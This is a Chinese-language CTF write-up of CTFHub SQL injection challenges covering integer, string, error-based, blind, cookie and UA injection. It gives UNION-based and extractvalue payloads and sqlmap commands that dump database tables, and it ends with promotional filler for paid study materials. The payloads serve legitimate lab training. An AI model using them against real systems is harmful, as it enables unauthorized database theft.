CTFHub-Web-SQL注入

1.题目说输入1,先将1输入查看结果

image-20240426094709273

2.接着输入4-1,发现输出的结果为4-1,判定存在整数型注入

image-20240426094758504

3.查询字段数,出现了回显,判断这里的字段数为2

1 order by 2

image-20240426095425533

4.判断注入点在2的位置,也就是data

-1 union select 1,2

image-20240426095923023

5.查询数据库名,得知为sqli

-1 union select 1,database()

image-20240426100229901

6.查询该库下的表名,得知为news、flag

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)


image-20240426100610397

image-20240426100638332

7.查询flag表下的字段

-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

image-20240426100722033

8.发现了flag字段,去查询flag字段的内容,最终得到flag

image-20240426100815439

2.字符型注入

1.输入1=2,回显正常

image-20240426104613806

2.输入1’,发现报错,判断为字符型注入

image-20240426104639055

3.第一关已经了解数据库版本,数据库sqli,列数,以及注入点,所以直接爆表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

image-20240426104819171

4.还是熟悉的news和flag,按照之前的流程继续爆字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

image-20240426104857111

5.回显正常,继续爆字段内容,得到flag

-1' union select 1,(select flag from flag)#

image-20240426104930242

3.报错注入

1.输入1’发现报错的回显,判断为报错注入

image-20240426112044792

2.使用extractvalue()函数进行注入爆库

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

image-20240426112325312

3.发现库名为sqli,继续爆表,发现第一个表名为flag

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

image-20240426112423070

4.继续爆字段名,发现flag字段

1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

image-20240426112537932

5.爆字段内容得到flag

1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

image-20240426112622135

4.布尔盲注

1.输入1,返回结果为成功

image-20240426114554280

2.输入1’,返回结果为失败,判断为布尔类型,只会返回成功和失败

image-20240426114625543

3.直接使用SQLMap工具进行盲注,结果得出sqli库,其他三个都是系统库

sqlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" --dbs

image-20240426115739362

4.接着进行爆表,得到flag表和news表

sqlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

image-20240426120333736

5.直接爆flag表的字段内容,得到flag

qlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" -T flag columns --dump

image-20240426121158786

5.时间盲注

1.打开又看到跟之前相同的界面

image-20240429174423872

2.根据之前注入的逻辑,直接构造SQLMap的命令进行注入

sqlmap -u "http://challenge-5ef64e08cdb2fa76.sandbox.ctfhub.com:10800/?id=-1" -D sqli -T flag -C flag --dump

image-20240429174615170

3.得到flag

image-20240429174634606

6.MySQL注入

1.这个和之前的不同,要自己去手工注入得到表名和字段名,因为之前已经知道库名了,所以直接注入

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

image-20240429180229727

2.得到表名之后,继续注入获取字段名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eppymlmhfq'

image-20240429180352116

3.得到字段名之后,查询字段内容得到flag

-1 union select 1,group_concat(itcwfaaoes) from eppymlmhfq

image-20240429180505813

7.cookie注入

1.打开页面,先用SQLMap跑一下

image-20240429180947338

2.爆库名,其他三个是系统库,老样子目标还是sqli

sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2

image-20240429181638557

image-20240429181654950

3.爆表名

sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2

image-20240429181743823

4.最后爆表内字段的数据

sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T btnogjokyv --columns --dump --level 2

image-20240429181824767

8.UA注入

1.跟之前的cookie很像,接着爆库名

-1 union select 1, database()

image-20240429195629577

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

g-JEoEhz6P-1715483826913)]

[外链图片转存中…(img-36HGYHJK-1715483826913)]

[外链图片转存中…(img-ATv9dv1c-1715483826914)]

[外链图片转存中…(img-DJXSChOb-1715483826914)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 25
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值